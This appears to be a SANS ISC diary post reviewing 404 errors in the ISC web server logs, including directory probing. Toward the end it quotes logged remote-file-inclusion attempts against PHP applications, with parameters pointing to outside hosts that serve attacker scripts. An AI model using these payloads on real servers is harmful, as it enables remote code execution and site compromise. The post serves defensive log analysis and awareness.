As I have done before, I would like to take you all on a quick stroll through some recent web-server logs from the ISC web server. This time around, lets look at some of the 404 errors.

We all know those 404 errors. Most of the time, they can be explained as typos, links to outdated URLs or other innocent mistakes. However, here some that are not quite as "obvious":

File does not exist: /home/live/isc/html/include
File does not exist: /home/live/isc/html/modules

Someone looking for a browsable directory listing of include files? I do see a lot of them lateley! No referer on any of them. An then we have this URL that is hit quite a few times:File does not exist: /home/live/isc/html/authentication

Some are quite odd and specific (only one hit to this one):

script '/home/live/isc/html/todofleetcontrol.php' not found or unable to stat

no, the ISC does not have a Fleet to control. But we are still looking for someone to donate a nice plane (with fuel!) to be used as "ISC1" (an A380 would be nice, but a Boing 747 will do)

Here a few more that are quite specific:

And of course, this wouldn't be complete with some attempts to exploit non-existing vulnerable PHP software:

"GET //includes/functions_portal.php?phpbb_root_path=http:// m4ng4.100webspace. net/id2.txt?? 
    HTTP/1.1" 404 5096 "-" "libwww-perl/5.810" "-"
GET //PhpLinkExchange/bits_listings.php?svr_rootP=http:// warsector. ru/access2006.log??? 
    HTTP/1.1" 404 5097 "-" "libwww-perl/5.79"
"GET /protection.php?action=logout&siteurl=http:// warsector. ru/access2006.log??? 
    HTTP/1.1" 404 5478 "-" "libwww-perl/5.65" "-"
"GET //authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www. v8rx7forum.com/images/icons/header.txt???? 
    HTTP/1.1" 404 5078 "-" "libwww-perl/5.79" "-"
"GET //components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://www. kupc.org /zero/bbs//skin/zero_vote/ooid.txt???? 
    HTTP/1.1" 404 5102 "-" "libwww-perl/5.79" "-"
"GET /errors.php?error=http:// brnthug .awardspace.com/TT??? 
    HTTP/1.1" 404 5481 "-" "libwww-perl/5.811" "-"

As you can tell, none of these bother to even fake a user agent. Blocking libwww-perl is frequently done (e.g. via mod_rewrite), but in my case, there are some legit scripts that query the site. Got any cool and unique web logs? Send them in!

An while I am at it ;-). For all the PHP coders out there... I will offering the best PHP security class ever at NS2008 !

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Johannes B. Ullrich, Ph.D.
SANS Technology Institute